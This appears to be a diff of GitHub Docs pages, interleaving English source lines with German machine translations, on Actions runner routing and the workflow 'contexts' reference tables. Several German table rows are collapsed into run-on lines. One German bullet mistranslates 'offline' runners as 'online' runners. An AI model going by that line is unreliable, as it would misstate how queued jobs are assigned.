- If all matching runners are offline, the job will queue at the level with the highest number of matching offline runners.
- If there are no matching runners at any level, the job will fail.
- If the job remains queued for more than 24 hours, the job will fail.
1. {% data variables.product.prodname_dotcom %} sucht nach einem Runner zuerst auf Repositoryebene, dann auf Organisationsebene und zuletzt auf Unternehmensebene.
2. Der Auftrag wird dann an den ersten übereinstimmenden Runner gesendet, der online ist und sich im Leerlauf befindet.
- Wenn alle übereinstimmenden online befindlichen Runner belegt sind, wird der Auftrag auf der Ebene mit der höchsten Anzahl übereinstimmender online befindlicher Runner in die Warteschlange gestellt.
- Wenn alle übereinstimmenden Runner offline sind, wird der Auftrag auf der Ebene mit der höchsten Anzahl übereinstimmender online befindlicher Runner in die Warteschlange gestellt.
- Wenn auf keiner Ebene übereinstimmende Runner vorhanden sind, schlägt der Auftrag fehl.
- Wenn der Auftrag länger als 24 Stunden in der Warteschlange bleibt, schlägt der Auftrag fehl.
{% endif %}

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Contexts
title: Kontexte
shortTitle: Contexts
intro: You can access context information in workflows and actions.
intro: Du kannst auf Kontextinformationen in Workflows und Aktionen zugreifen.
redirect_from:
- /articles/contexts-and-expression-syntax-for-github-actions
- /github/automating-your-workflow-with-github-actions/contexts-and-expression-syntax-for-github-actions
@ -14,103 +14,62 @@ versions:
ghae: '*'
ghec: '*'
miniTocMaxHeadingLevel: 3
ms.openlocfilehash: 3f73082600ce3bf300ce4565c2bdbc826eb357ca
ms.sourcegitcommit: 9af8891fea10039b3374c76818634e05410e349d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 12/06/2022
ms.locfileid: '148191934'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Informationen zu Kontexten
## About contexts
Kontexte sind eine Möglichkeit, auf Informationen zu Workflow-Läufen, Runner-Umgebungen, Jobs und Schritten zuzugreifen. Ein Kontext ist ein Objekt, das Eigenschaften enthält. Dabei kann es sich um Zeichenfolgen oder andere Objekte handeln.
Contexts are a way to access information about workflow runs, runner environments, jobs, and steps. Each context is an object that contains properties, which can be strings or other objects.
{% data reusables.actions.context-contents %} Der Kontext `matrix` wird beispielsweise nur für Aufträge in einer [Matrix](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix) aufgefüllt.
{% data reusables.actions.context-contents %} For example, the `matrix` context is only populated for jobs in a [matrix](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix).
Mithilfe der Syntax für Ausdrücke kannst du auf Kontexte zugreifen. Weitere Informationen findest du unter [Ausdrücke](/actions/learn-github-actions/expressions).
You can access contexts using the expression syntax. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
{% raw %}
`${{ <context> }}`
{% raw %} `${{ <context> }}`
{% endraw %}
{% data reusables.actions.context-injection-warning %}
| Context name | Type | Description |
| Kontextname | type | BESCHREIBUNG |
|---------------|------|-------------|
| `github` | `object` | Information about the workflow run. For more information, see [`github` context](#github-context). |
| `env` | `object` | Contains environment variables set in a workflow, job, or step. For more information, see [`env` context](#env-context). |
| `job` | `object` | Information about the currently running job. For more information, see [`job` context](#job-context). |
{%- ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
| `jobs` | `object` | For reusable workflows only, contains outputs of jobs from the reusable workflow. For more information, see [`jobs` context](#jobs-context). |{% endif %}
| `steps` | `object` | Information about the steps that have been run in the current job. For more information, see [`steps` context](#steps-context). |
| `runner` | `object` | Information about the runner that is running the current job. For more information, see [`runner` context](#runner-context). |
| `secrets` | `object` | Contains the names and values of secrets that are available to a workflow run. For more information, see [`secrets` context](#secrets-context). |
| `strategy` | `object` | Information about the matrix execution strategy for the current job. For more information, see [`strategy` context](#strategy-context). |
| `matrix` | `object` | Contains the matrix properties defined in the workflow that apply to the current job. For more information, see [`matrix` context](#matrix-context). |
| `needs` | `object` | Contains the outputs of all jobs that are defined as a dependency of the current job. For more information, see [`needs` context](#needs-context). |
{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
| `inputs` | `object` | Contains the inputs of a reusable {% ifversion actions-unified-inputs %}or manually triggered {% endif %}workflow. For more information, see [`inputs` context](#inputs-context). |{% endif %}
| `github` | `object` | Informationen zum Workflow-Lauf. Weitere Informationen findest du unter [Kontext `github`](#github-context). |
| `env` | `object` | Enthält Umgebungsvariablen, die in einem Workflow, Job oder Schritt festgelegt sind. Weitere Informationen findest du unter [Kontext `env`](#env-context). |
| `job` | `object` | Informationen zum derzeit ausgeführten Auftrag. Weitere Informationen findest du unter [Kontext `job`](#job-context). |
{%- ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} | `jobs` | `object` | Nur für wiederverwendbare Workflows, enthält Ausgaben von Aufträgen aus dem wiederverwendbaren Workflow. Weitere Informationen findest du unter [Kontext `jobs`](#jobs-context). |{% endif %} | `steps` | `object` | Informationen zu den Schritten, die im aktuellen Auftrag ausgeführt werden. Weitere Informationen findest du unter [Kontext `steps`](#steps-context). | | `runner` | `object` | Informationen zum Runner, der den aktuellen Auftrag ausführt. Weitere Informationen findest du unter [Kontext `runner`](#runner-context). | | `secrets` | `object` | Enthält die Namen und Werte von Geheimnissen, die für eine Workflowausführung verfügbar sind. Weitere Informationen findest du unter [Kontext `secrets`](#secrets-context). | | `strategy` | `object` | Informationen zur Ausführungsstrategie der Matrix für den aktuellen Auftrag. Weitere Informationen findest du unter [Kontext `strategy`](#strategy-context). | | `matrix` | `object` | Enthält die im Workflow definierten Matrixeigenschaften, die für den aktuellen Auftrag gelten. Weitere Informationen findest du unter [Kontext `matrix`](#matrix-context). | | `needs` | `object` | Enthält die Ausgaben aller Aufträge, die als Abhängigkeit des aktuellen Auftrags definiert sind. Weitere Informationen findest du unter [Kontext `needs`](#needs-context). | {%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} | `inputs` | `object` | Enthält die Eingaben eines wiederverwendbaren {% ifversion actions-unified-inputs %}oder manuell ausgelösten {% endif %}Workflows. Weitere Informationen findest du unter [Kontext `inputs`](#inputs-context). |{% endif %}
As part of an expression, you can access context information using one of two syntaxes.
Als Teil eines Ausdrucks kannst du mit einer der beiden folgenden Syntaxarten auf Kontextinformationen zugreifen.
- Index syntax: `github['sha']`
- Property dereference syntax: `github.sha`
- Indexsyntax: `github['sha']`
- Syntax zur Dereferenzierung von Eigenschaften: `github.sha`
In order to use property dereference syntax, the property name must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
Um die Syntax zur Dereferenzierung von Eigenschaften zu verwenden, muss der Eigenschaftsname mit einem Buchstaben oder `_` beginnen oder nur alphanumerische Zeichen, `-` oder `_` enthalten.
If you attempt to dereference a non-existent property, it will evaluate to an empty string.
Wenn du versuchst, eine nicht vorhandene Eigenschaft zu dereferenzieren, wird sie als leere Zeichenfolge ausgewertet.
### Determining when to use contexts
### Anwendungsfälle für Kontexte
{% data reusables.actions.using-context-or-environment-variables %}
### Context availability
### Kontextverfügbarkeit
Different contexts are available throughout a workflow run. For example, the `secrets` context may only be used at certain places within a job.
Bei der Ausführung eines Workflows stehen verschiedene Kontexte zur Verfügung. Der `secrets`-Kontext kann beispielsweise nur an bestimmten Stellen innerhalb eines Auftrags verwendet werden.
In addition, some functions may only be used in certain places. For example, the `hashFiles` function is not available everywhere.
Darüber hinaus können auch einige Funktionen nur an bestimmten Stellen verwendet werden. Die Funktion `hashFiles` ist beispielsweise nicht überall verfügbar.
The following table indicates where each context and special function can be used within a workflow. Unless listed below, a function can be used anywhere.
In der folgenden Tabelle siehst du, an welchen Stellen die einzelnen Kontexte und Sonderfunktionen innerhalb eines Workflows verwendet werden können. Funktionen, die nicht in der Liste aufgeführt werden, können überall verwendet werden.
{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
| Workflow key | Context | Special functions |
| Workflowschlüssel | Kontext | Sonderfunktionen |
| ---- | ------- | ----------------- |
{%- ifversion actions-run-name %}
| <code>run-name</code> | <code>github, inputs</code> | |
{%- endif %}
| <code>concurrency</code> | <code>github, inputs</code> | |
| <code>env</code> | <code>github, secrets, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.concurrency</code> | <code>github, needs, strategy, matrix, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.container</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.container.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, needs, strategy, matrix, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, needs, strategy, matrix, env, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.env</code> | <code>github, needs, strategy, matrix, secrets, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, needs, strategy, matrix, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.if</code> | <code>github, needs, inputs</code> | <code>always, cancelled, success, failure</code> |
| <code>jobs.&lt;job_id&gt;.name</code> | <code>github, needs, strategy, matrix, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.secrets.&lt;secrets_id&gt;</code> | <code>github, needs,{% ifversion actions-reusable-workflow-matrix %} strategy, matrix,{% endif %} secrets{% ifversion actions-unified-inputs %}, inputs{% endif %}</code> | |
| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.steps.continue-on-error</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
| <code>jobs.&lt;job_id&gt;.steps.env</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
| <code>jobs.&lt;job_id&gt;.steps.if</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> | <code>always, cancelled, success, failure, hashFiles</code> |
| <code>jobs.&lt;job_id&gt;.steps.name</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
| <code>jobs.&lt;job_id&gt;.steps.run</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
| <code>jobs.&lt;job_id&gt;.steps.timeout-minutes</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
| <code>jobs.&lt;job_id&gt;.steps.with</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
| <code>jobs.&lt;job_id&gt;.steps.working-directory</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix, inputs</code> | |
| <code>jobs.&lt;job_id&gt;.with.&lt;with_id&gt;</code> | <code>github, needs{% ifversion actions-reusable-workflow-matrix %}, strategy, matrix{% endif %}{% ifversion actions-unified-inputs %}, inputs{% endif %}</code> | |
| <code>on.workflow_call.inputs.&lt;inputs_id&gt;.default</code> | <code>github{% ifversion actions-unified-inputs %}, inputs{% endif %}</code> | |
| <code>on.workflow_call.outputs.&lt;output_id&gt;.value</code> | <code>github, jobs, inputs</code> | |
{% else %}
| Path | Context | Special functions |
{%- ifversion actions-run-name %} | <code>run-name</code> | <code>github, inputs</code> | | {%- endif %} | <code>concurrency</code> | <code>github, inputs</code> | | | <code>env</code> | <code>github, secrets, inputs</code> | | | <code>jobs.&lt;job_id&gt;.concurrency</code> | <code>github, needs, strategy, matrix, inputs</code> | | | <code>jobs.&lt;job_id&gt;.container</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | | | <code>jobs.&lt;job_id&gt;.container.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | | | <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> | | | <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, needs, strategy, matrix, inputs</code> | | | <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, needs, strategy, matrix, env, inputs</code> | | | <code>jobs.&lt;job_id&gt;.env</code> | <code>github, needs, strategy, matrix, secrets, inputs</code> | | | <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, needs, strategy, matrix, inputs</code> | | | <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> | | | <code>jobs.&lt;job_id&gt;.if</code> | <code>github, needs, inputs</code> | <code>always, cancelled, success, failure</code> | | <code>jobs.&lt;job_id&gt;.name</code> | <code>github, needs, strategy, matrix, inputs</code> | | | <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | | | <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix, inputs</code> | | | <code>jobs.&lt;job_id&gt;.secrets.&lt;secrets_id&gt;</code> | <code>github, needs,{% ifversion actions-reusable-workflow-matrix %} strategy, matrix,{% endif %} secrets{% ifversion actions-unified-inputs %}, inputs{% endif %}</code> | | | <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix, inputs</code> | | | <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | | | <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> | | | <code>jobs.&lt;job_id&gt;.steps.continue-on-error</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> | | <code>jobs.&lt;job_id&gt;.steps.env</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> | | <code>jobs.&lt;job_id&gt;.steps.if</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> | <code>always, cancelled, success, failure, hashFiles</code> | | <code>jobs.&lt;job_id&gt;.steps.name</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> | | <code>jobs.&lt;job_id&gt;.steps.run</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> | | <code>jobs.&lt;job_id&gt;.steps.timeout-minutes</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> | | <code>jobs.&lt;job_id&gt;.steps.with</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> | | <code>jobs.&lt;job_id&gt;.steps.working-directory</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> | | <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs, inputs</code> | | | <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix, inputs</code> | | | <code>jobs.&lt;job_id&gt;.with.&lt;with_id&gt;</code> | <code>github, needs{% ifversion actions-reusable-workflow-matrix %}, strategy, matrix{% endif %}{% ifversion actions-unified-inputs %}, inputs{% endif %}</code> | | | <code>on.workflow_call.inputs.&lt;inputs_id&gt;.default</code> | <code>github{% ifversion actions-unified-inputs %}, inputs{% endif %}</code> | | | <code>on.workflow_call.outputs.&lt;output_id&gt;.value</code> | <code>github, jobs, inputs</code> | | {% else %}
| Pfad | Kontext | Sonderfunktionen |
| ---- | ------- | ----------------- |
| <code>concurrency</code> | <code>github</code> | |
| <code>env</code> | <code>github, secrets</code> | |
@ -142,9 +101,9 @@ The following table indicates where each context and special function can be use
| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix</code> | |
{% endif %}
### Example: printing context information to the log
### Beispiel: Drucken von Kontextinformationen ins Protokoll
You can print the contents of contexts to the log for debugging. The [`toJSON` function](/actions/learn-github-actions/expressions#tojson) is required to pretty-print JSON objects to the log.
Du kannst den Inhalt von Kontexten zum Debuggen ins Protokoll drucken. Die [Funktion `toJSON`](/actions/learn-github-actions/expressions#tojson) ist für die Quelltextformatierung von JSON-Objekten im Protokoll erforderlich
{% data reusables.actions.github-context-warning %}
@ -173,60 +132,36 @@ jobs:
```
{% endraw %}
## `github` context
## Kontext `github`
The `github` context contains information about the workflow run and the event that triggered the run. You can also read most of the `github` context data in environment variables. For more information about environment variables, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)."
Der `github`-Kontext enthält Informationen zur Workflowausführung und zum Ereignis, das die Ausführung ausgelöst hat. Die meisten Daten zum `github`-Kontext kannst du auch in Umgebungsvariablen lesen. Weitere Informationen zu Umgebungsvariablen findest du unter [Verwenden von Umgebungsvariablen](/actions/automating-your-workflow-with-github-actions/using-environment-variables).
{% data reusables.actions.github-context-warning %}
{% data reusables.actions.context-injection-warning %}
{% data reusables.actions.github-context-warning %} {% data reusables.actions.context-injection-warning %}
| Property name | Type | Description |
| Eigenschaftenname | type | BESCHREIBUNG |
|---------------|------|-------------|
| `github` | `object` | The top-level context available during any job or step in a workflow. This object contains all the properties listed below. |
| `github.action` | `string` | The name of the action currently running, or the [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid) of a step. {% data variables.product.prodname_dotcom %} removes special characters, and uses the name `__run` when the current step runs a script without an `id`. If you use the same action more than once in the same job, the name will include a suffix with the sequence number with underscore before it. For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. Similarly, the second invocation of `actions/checkout` will be `actionscheckout2`. |
| `github.action_path` | `string` | The path where an action is located. This property is only supported in composite actions. You can use this path to access files located in the same repository as the action. |
| `github.action_ref` | `string` | For a step executing an action, this is the ref of the action being executed. For example, `v2`. |
| `github.action_repository` | `string` | For a step executing an action, this is the owner and repository name of the action. For example, `actions/checkout`. |
| `github.action_status` | `string` | For a composite action, the current result of the composite action. |
| `github.actor` | `string` | {% ifversion actions-stable-actor-ids %}The username of the user that triggered the initial workflow run. If the workflow run is a re-run, this value may differ from `github.triggering_actor`. Any workflow re-runs will use the privileges of `github.actor`, even if the actor initiating the re-run (`github.triggering_actor`) has different privileges.{% else %}The username of the user that initiated the workflow run.{% endif %} |
| `github.api_url` | `string` | The URL of the {% data variables.product.prodname_dotcom %} REST API. |
| `github.base_ref` | `string` | The `base_ref` or target branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. |
| `github.env` | `string` | Path on the runner to the file that sets environment variables from workflow commands. This file is unique to the current step and is a different file for each step in a job. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-commands-for-github-actions#setting-an-environment-variable)." |
| `github.event` | `object` | The full event webhook payload. You can access individual properties of the event using this context. This object is identical to the webhook payload of the event that triggered the workflow run, and is different for each event. The webhooks for each {% data variables.product.prodname_actions %} event is linked in "[Events that trigger workflows](/articles/events-that-trigger-workflows/)." For example, for a workflow run triggered by the [`push` event](/actions/using-workflows/events-that-trigger-workflows#push), this object contains the contents of the [push webhook payload](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push). |
| `github.event_name` | `string` | The name of the event that triggered the workflow run. |
| `github.event_path` | `string` | The path to the file on the runner that contains the full event webhook payload. |
| `github.graphql_url` | `string` | The URL of the {% data variables.product.prodname_dotcom %} GraphQL API. |
| `github.head_ref` | `string` | The `head_ref` or source branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. |
| `github.job` | `string` | The [`job_id`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) of the current job. <br /> Note: This context property is set by the Actions runner, and is only available within the execution `steps` of a job. Otherwise, the value of this property will be `null`. |
| `github` | `object` | Der Top-Level-Kontext, der bei jedem Job oder Schritt im Workflow verfügbar ist. Dieses Objekt enthält alle unten aufgeführten Eigenschaften. |
| `github.action` | `string` | Name der aktuell ausgeführten Aktion oder der [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid)-Wert eines Schritts. {% data variables.product.prodname_dotcom %} entfernt Sonderzeichen und verwendet den Namen `__run`, wenn der aktuelle Schritt ein Skript ohne `id` ausführt. Wenn du eine Aktion mehr als einmal im selben Auftrag verwendest, enthält der Name ein Suffix mit der Sequenznummer, der ein Unterstrich vorangestellt wird. So lautet z. B. der Name des ersten Skripts, das du ausführst, `__run` und der des zweiten `__run_2`. Analog dazu erhält der zweite Aufruf von `actions/checkout` den Namen `actionscheckout2`. |
| `github.action_path` | `string` | Pfad einer Aktion. Diese Eigenschaft wird nur in zusammengesetzten Aktionen unterstützt. Mit diesem Pfad kannst du auf Dateien zugreifen, die sich im gleichen Repository wie die Aktion befinden. |
| `github.action_ref` | `string` | Bei einem Schritt, in dem eine Aktion ausgeführt wird, verweist diese Eigenschaft auf die ausgeführte Aktion. Beispiel: `v2`. |
| `github.action_repository` | `string` | Bei einem Schritt, in dem eine Aktion ausgeführt wird, gibt diese Eigenschaft den Namen des Besitzers bzw. der Besitzerin und des Repositorys der Aktion an. Beispiel: `actions/checkout`. |
| `github.action_status` | `string` | Das aktuelle Ergebnis einer zusammengesetzten Aktion. |
| `github.actor` | `string` | {% ifversion actions-stable-actor-ids %}Der Benutzername des Benutzers bzw. der Benutzerin, der/die die erste Workflowausführung ausgelöst hat. Wenn die Workflowausführung eine erneute Ausführung ist, unterscheidet sich dieser Wert möglicherweise von `github.triggering_actor`. Alle Workflowneuausführungen verwenden die Berechtigungen von `github.actor`, auch wenn der Akteur bzw. die Akteurin, der/die die erneute Ausführung (`github.triggering_actor`) initiiert, unterschiedliche Berechtigungen hat.{% else %}Der Benutzername des Benutzers bzw. der Benutzerin, der/die die Workflowausführung initiiert hat.{% endif %} |
| `github.api_url` | `string` | URL der {% data variables.product.prodname_dotcom %}-REST-API. |
| `github.base_ref` | `string` | `base_ref`- oder Zielbranch des Pull Requests in einer Workflowausführung. Diese Eigenschaft ist nur verfügbar, wenn es sich bei dem Ereignis, das eine Workflowausführung auslöst, um `pull_request` oder `pull_request_target` handelt. |
| `github.env` | `string` | Pfad des Runners zur Datei, die Umgebungsvariablen aus Workflowbefehlen festlegt. Diese Datei ist für den aktuellen Schritt eindeutig und unterscheidet sich für jeden Schritt in einem Auftrag. Weitere Informationen findest du unter [Workflowbefehle für {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-commands-for-github-actions#setting-an-environment-variable). |
| `github.event` | `object` | Die vollständige Nutzlast des Ereignis-Webhooks. Mit diesem Kontext kannst du auf einzelne Eigenschaften des Ereignisses zugreifen. Dieses Objekt ist identisch mit der Webhooknutzlast des Ereignisses, das die Workflowausführung ausgelöst hat, und unterscheidet sich für jedes Ereignis. Die Webhooks für jedes {% data variables.product.prodname_actions %}-Ereignis werden unter [Ereignisse, die Workflows auslösen](/articles/events-that-trigger-workflows/) verknüpft. Für einen Workflow, der vom [Ereignis `push`](/actions/using-workflows/events-that-trigger-workflows#push) ausgelöst wird, enthält dieses Objekt beispielsweise den Inhalt der [Webhooknutzlast „push“](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push). |
| `github.event_name` | `string` | Der Name des Ereignisses, das den Workflow-Lauf ausgelöst hat. |
| `github.event_path` | `string` | Pfad des Runners zur Datei mit der vollständigen Webhooknutzlast des Ereignisses. |
| `github.graphql_url` | `string` | URL der {% data variables.product.prodname_dotcom %}-GraphQL-API. |
| `github.head_ref` | `string` | `head_ref`- oder Quellbranch des Pull Requests in einer Workflowausführung. Diese Eigenschaft ist nur verfügbar, wenn es sich bei dem Ereignis, das eine Workflowausführung auslöst, um `pull_request` oder `pull_request_target` handelt. |
| `github.job` | `string` | [`job_id`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id)-Wert des aktuellen Auftrags. <br /> Hinweis: Diese Kontexteigenschaft wird vom Actions-Runner festgelegt und ist nur innerhalb der `steps` der Ausführung eines Auftrags verfügbar. Andernfalls ist der Wert dieser Eigenschaft `null`. |
| `github.ref` | `string` | {% data reusables.actions.ref-description %} |
{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
| `github.ref_name` | `string` | {% data reusables.actions.ref_name-description %} |
| `github.ref_protected` | `boolean` | {% data reusables.actions.ref_protected-description %} |
| `github.ref_type` | `string` | {% data reusables.actions.ref_type-description %} |
{%- endif %}
| `github.path` | `string` | Path on the runner to the file that sets system `PATH` variables from workflow commands. This file is unique to the current step and is a different file for each step in a job. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-commands-for-github-actions#adding-a-system-path)." |
| `github.repository` | `string` | The owner and repository name. For example, `Codertocat/Hello-World`. |
| `github.repository_owner` | `string` | The repository owner's name. For example, `Codertocat`. |
| `github.repositoryUrl` | `string` | The Git URL to the repository. For example, `git://github.com/codertocat/hello-world.git`. |
| `github.retention_days` | `string` | The number of days that workflow run logs and artifacts are kept. |
| `github.run_id` | `string` | {% data reusables.actions.run_id_description %} |
| `github.run_number` | `string` | {% data reusables.actions.run_number_description %} |
{%- ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %}
| `github.run_attempt` | `string` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. |
{%- endif %}
{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
| `github.secret_source` | `string` | The source of a secret used in a workflow. Possible values are `None`, `Actions`, `Dependabot`, or `Codespaces`. |
{%- endif %}
| `github.server_url` | `string` | The URL of the GitHub server. For example: `https://github.com`. |
| `github.sha` | `string` | {% data reusables.actions.github_sha_description %} |
| `github.token` | `string` | A token to authenticate on behalf of the GitHub App installed on your repository. This is functionally equivalent to the `GITHUB_TOKEN` secret. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." <br /> Note: This context property is set by the Actions runner, and is only available within the execution `steps` of a job. Otherwise, the value of this property will be `null`. |{% ifversion actions-stable-actor-ids %}
| `github.triggering_actor` | `string` | The username of the user that initiated the workflow run. If the workflow run is a re-run, this value may differ from `github.actor`. Any workflow re-runs will use the privileges of `github.actor`, even if the actor initiating the re-run (`github.triggering_actor`) has different privileges. |{% endif %}
| `github.workflow` | `string` | The name of the workflow. If the workflow file doesn't specify a `name`, the value of this property is the full path of the workflow file in the repository. |
| `github.workspace` | `string` | The default working directory on the runner for steps, and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. |
{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} | `github.ref_name` | `string` | {% data reusables.actions.ref_name-description %} | | `github.ref_protected` | `boolean` | {% data reusables.actions.ref_protected-description %} | | `github.ref_type` | `string` | {% data reusables.actions.ref_type-description %} | {%- endif %} | `github.path` | `string` | Pfad des Runners zur Datei, die `PATH`-Systemvariablen aus Workflowbefehlen festlegt. Diese Datei ist für den aktuellen Schritt eindeutig und unterscheidet sich für jeden Schritt in einem Auftrag. Weitere Informationen findest du unter [Workflowbefehle für {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-commands-for-github-actions#adding-a-system-path). | | `github.repository` | `string` | Besitzer und Name des Repositorys. Beispiel: `Codertocat/Hello-World`. | | `github.repository_owner` | `string` | Name des Repositorybesitzers. Beispiel: `Codertocat`. | | `github.repositoryUrl` | `string` | Git-URL zum Repository. Beispiel: `git://github.com/codertocat/hello-world.git`. | | `github.retention_days` | `string` | Anzahl der Tage, für die Protokolle und Artefakte der Workflowausführung beibehalten werden. | | `github.run_id` | `string` | {% data reusables.actions.run_id_description %} | | `github.run_number` | `string` | {% data reusables.actions.run_number_description %} | {%- ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %} | `github.run_attempt` | `string` | Eindeutige Nummer für jeden Versuch einer bestimmten Workflowausführung in einem Repository. Diese Nummer beginnt bei 1 für den ersten Versuch der Workflowausführung und erhöht sich mit jeder weiteren Ausführung um 1. | {%- endif %} {%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} | `github.secret_source` | `string` | Die Quelle eines Geheimnisses, das in einem Workflow verwendet wird. Mögliche Werte sind `None`, `Actions`, `Dependabot` oder `Codespaces`. | {%- endif %} | `github.server_url` | `string` | URL des GitHub-Servers. Beispiel: `https://github.com`. | | `github.sha` | `string` | {% data reusables.actions.github_sha_description %} | | `github.token` | `string` | Ein Token zur Authentifizierung im Auftrag der GitHub-App, die in deinem Repository installiert ist. Diese Funktion entspricht dem Geheimnis `GITHUB_TOKEN`. Weitere Informationen findest du 